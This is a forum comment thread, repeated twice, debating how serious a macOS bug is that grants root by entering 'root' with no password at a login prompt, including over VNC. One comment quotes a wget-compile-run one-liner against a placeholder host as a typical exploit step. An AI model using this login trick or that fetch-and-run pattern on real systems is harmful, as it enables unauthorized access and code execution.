6 ms·

As serious as this is, it kind of makes me feel humbled in a way knowing I’ve been through these exact situations and it happens to Apple too.

ryanlol 9y ago
>As serious as this is ... So, not at all? It’s a LPE for gods sake. EDIT: Apparently it affects remote desktop too, so not just a LPE. Can this even be exploited from within the sandbox?
- Groxx 9y ago
  I'd imagine it makes device theft rather more serious.
- fra 9y ago
  Not just local. VNC and other remote protocols are vulnerable.
  - ryanlol 9y ago
    Ah, that's far more interesting. Do you know if SSH is affected?
    - LeoPanthera 9y ago
      SSH is not affected.
- benwilber0 9y ago
  LPE's are very serious for the countless college campuses, public libraries, and design print shops like Kinkos that offer public access to Mac computers.
  - ryanlol 9y ago
    Very serious or minor annoyance? "college campuses" don't strike me as the kind of places where any security issues are considered "very serious".
    - benwilber0 9y ago
      this LPE would allow anyone to install a kext rootkit on the machine. how is that not serious?
      - ryanlol 9y ago
        Why is that significantly more serious than them running any other backdoor as a normal user? I don't understand the threat model here, it is always completely unreasonable to expect that an attacker wouldn't easily be able to escalate privileges locally in a multi-user system.
- platinumrad 9y ago
  LPE matters a lot for enterprise and educational customers. What do you mean by exploited from within the sandbox? This is exploitable from any login prompt where the user has the ability to enter a username, including ones in the shell.
  - ryanlol 9y ago
    >LPE matters a lot for enterprise and educational customers. Surely not. In real life LPE bugs are far too common to matter a lot to anyone. >What do you mean by exploited from within the sandbox? This is exploitable from any login prompt where the user has the ability to enter a username, including ones in the shell. I'm not familiar enough with the OS X sandbox, but I would guess that sandboxed applications aren't allowed to fill in login prompts. I might be wrong though.
    - platinumrad 9y ago
      >I'm not familiar enough with the OS X sandbox, but I would guess that sandboxed applications aren't allowed to fill in login prompts. I might be wrong though. Oh, right. I tend to kind of forget that the App Store serves any other purpose than to deliver software updates as most of the applications on my Mac are from other sources. Yes, I agree that sandboxed apps are almost certainly prohibited from filling in login prompts by default. There does appear to be a system by which sandboxed apps can ask for addition permissions but I'm not an OS X/macOS application developer so I have no idea how this permissions system works. >Surely not. In real life LPE bugs are far too common to matter a lot to anyone. LPE bugs might be common but they're rarely as extremely straightforward as typing "root" into a login prompt with no password and pressing enter a few times.
      - ryanlol 9y ago
        >LPE bugs might be common but they're rarely as extremely straightforward as typing "root" into a login prompt with no password and pressing enter a few times. Often enough a `wget http://xxx.xxx/xxx.c&&gcc http://xxx.xxx/xxx.c&&gcc xxx.c&&./a.out` will suffice. I'm not convinced that the ease of exploitation makes this bug particularly serious as a LPE.
dbcooper 9y ago
That isn’t what humbled means. >humble ˈhʌmb(ə)l verb past tense: humbled; past participle: humbled cause (someone) to feel less important or proud. "he was humbled by his many ordeals" decisively defeat (a sporting opponent previously thought to be superior). "Wales were humbled at Cardiff Arms Park by Romania
- palimpsests 9y ago
  Maybe they now feel less important or proud. Whatever the case, it's not up to you to police this commenter's thoughts. Why did you decide to take time and energy to post a dictionary definition in attempt to do so? This just feels almost completely patronizing.

ryanlol 9y ago

>As serious as this is ... So, not at all? It’s a LPE for gods sake. EDIT: Apparently it affects remote desktop too, so not just a LPE. Can this even be exploited from within the sandbox?

Groxx 9y ago
I'd imagine it makes device theft rather more serious.
fra 9y ago
Not just local. VNC and other remote protocols are vulnerable.
- ryanlol 9y ago
  Ah, that's far more interesting. Do you know if SSH is affected?
  - LeoPanthera 9y ago
    SSH is not affected.
benwilber0 9y ago
LPE's are very serious for the countless college campuses, public libraries, and design print shops like Kinkos that offer public access to Mac computers.
- ryanlol 9y ago
  Very serious or minor annoyance? "college campuses" don't strike me as the kind of places where any security issues are considered "very serious".
  - benwilber0 9y ago
    this LPE would allow anyone to install a kext rootkit on the machine. how is that not serious?
    - ryanlol 9y ago
      Why is that significantly more serious than them running any other backdoor as a normal user? I don't understand the threat model here, it is always completely unreasonable to expect that an attacker wouldn't easily be able to escalate privileges locally in a multi-user system.
platinumrad 9y ago
LPE matters a lot for enterprise and educational customers. What do you mean by exploited from within the sandbox? This is exploitable from any login prompt where the user has the ability to enter a username, including ones in the shell.
- ryanlol 9y ago
  >LPE matters a lot for enterprise and educational customers. Surely not. In real life LPE bugs are far too common to matter a lot to anyone. >What do you mean by exploited from within the sandbox? This is exploitable from any login prompt where the user has the ability to enter a username, including ones in the shell. I'm not familiar enough with the OS X sandbox, but I would guess that sandboxed applications aren't allowed to fill in login prompts. I might be wrong though.
  - platinumrad 9y ago
    >I'm not familiar enough with the OS X sandbox, but I would guess that sandboxed applications aren't allowed to fill in login prompts. I might be wrong though. Oh, right. I tend to kind of forget that the App Store serves any other purpose than to deliver software updates as most of the applications on my Mac are from other sources. Yes, I agree that sandboxed apps are almost certainly prohibited from filling in login prompts by default. There does appear to be a system by which sandboxed apps can ask for addition permissions but I'm not an OS X/macOS application developer so I have no idea how this permissions system works. >Surely not. In real life LPE bugs are far too common to matter a lot to anyone. LPE bugs might be common but they're rarely as extremely straightforward as typing "root" into a login prompt with no password and pressing enter a few times.
    - ryanlol 9y ago
      >LPE bugs might be common but they're rarely as extremely straightforward as typing "root" into a login prompt with no password and pressing enter a few times. Often enough a `wget http://xxx.xxx/xxx.c&&gcc http://xxx.xxx/xxx.c&&gcc xxx.c&&./a.out` will suffice. I'm not convinced that the ease of exploitation makes this bug particularly serious as a LPE.

dbcooper 9y ago

That isn’t what humbled means. >humble ˈhʌmb(ə)l verb past tense: humbled; past participle: humbled cause (someone) to feel less important or proud. "he was humbled by his many ordeals" decisively defeat (a sporting opponent previously thought to be superior). "Wales were humbled at Cardiff Arms Park by Romania

palimpsests 9y ago
Maybe they now feel less important or proud. Whatever the case, it's not up to you to police this commenter's thoughts. Why did you decide to take time and energy to post a dictionary definition in attempt to do so? This just feels almost completely patronizing.